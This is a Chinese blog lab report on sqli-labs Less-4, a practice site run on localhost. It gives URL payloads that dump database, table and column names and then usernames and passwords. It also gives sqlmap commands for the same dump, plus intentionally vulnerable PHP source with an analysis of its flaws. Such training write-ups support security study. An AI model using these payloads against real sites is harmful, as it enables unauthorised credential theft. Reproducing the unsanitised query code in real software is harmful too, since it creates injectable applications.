目录
一、测试环境
1、系统环境
渗透机:本机(127.0.0.1)
靶 机:本机(127.0.0.1)
2、使用工具/软件
火狐浏览器的hackbar插件,版本:2.3.1;
测试网址:http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-4/
二、测试目的
测试get型的sql注入,联合查询注入出数据库中的用户名和密码;
使用sqlmap爆破,熟悉sqlmap的参数
三、操作过程
1、寻找注入点
根据提示,将id作为参数,值为数字
输入id之后,页面回显了对应的账户密码
测试符号
给数字加个双引号 “ ,回显报错,存在sql注入,注入点在url的id值
字符型注入
添加1=1判断,会报错,尝试闭合符,闭合符为 “) 时正常显示
?id=1") and 1=1 --+
2、注入数据库
①Order by判断列数
这关的payload闭合符号为 “)
传入id值,先用order by 查看列数,可见数据库表共三列,查看第四列报错
?id=1") order by 3 --+
?id=1") order by 4 --+
②判断回显地方
使用联合查询注入,可以看到Login name是第二列,password是第三列
原理是:原本的id号失效没有含义,因此显示union select的内容
?id=-1") union select 1,2,3 --+
③爆库,查看数据库名称
?id=-1") union select 1,database(),3 --+
Database()函数返回当前数据库
④爆表,查看security库的所有表
?id=-1") union select 1, group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
使用inforamtion_schema数据库的tables方法查看本数据库的所有表
⑤爆列,查看users表的所有列
?id=-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_schema= database() and table_name='users'--+
依旧是inforamtion_schema数据库,使用columns方法查看对应数据表的所有列
⑥成功获取用户名和密码信息
爆字段值,查看username和password字段的所有信息
?id=-1") union select 1,group_concat(username),group_concat(password) from users --+
可以将所有的用户名和密码爆出
3、sqlmap注入方法
①爆库
Sqlmap方法只需要把url的less-1改为4就可以了,结果都是一样的
python sqlmap.py -u http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-4/?id=1 –dbs
使用python程序
-u 指定url
--dbs 是爆库的参数
②爆表
python sqlmap.py -u http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-4/?id=1 -D security –tables
-D 指定数据库,在这个数据库里找数据表
--tables 爆表的参数
③爆列
python sqlmap.py -u http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-4/?id=1 -D security -T users –columns
-D 指定数据库
-T 指定数据表
--columns 爆破列名的参数
④爆字段
python sqlmap.py -u http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-4/?id=1 -D security -T users -C username,password --dump
-D 指定数据库
-T 指定数据表
-C 指定需要爆破的列名
--dump 爆破字段值的参数
四、源代码分析
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
1.error_reporting(0);函数,关闭了php代码的所有错误报告。
2.获取的id值,直接写入了日志记录文件,同时也直接应用在sql语句中,没有任何过滤。
3.这里id号重新赋了个值,加上了双引号 “ ,sql语句中还有括号需要闭合 。 闭合符为 “) 。
4.Sql语句只取一行,注入时会把注释掉。
5.页面输出内容,直接将取到的数据,username和password打印在页面上;因此,使用联合查询时,会将username和password对应的列的内容打印出来。
6.联合查询原理是:将两个select语句结果返回在一个表格中,因此需要列数一样,结果会去重。
五、结论
传递id号是sql注入漏洞的一大特点,有id参数就需要特别留意。
寻找注入点的步骤十分重要,找到注入点和闭合符号之后的测试就顺理成章了。
用sqlmap的话,需要把id参数带上,不然爆不出来。
这关使用联合查询,覆盖掉原来的sql语句,原来的sql语句的id号是无效的,所以没有查询结果。
标签:sqlmap,测试报告,数据库,labs,sqli,master,sql,id From: https://blog.csdn.net/2301_79698171/article/details/142691522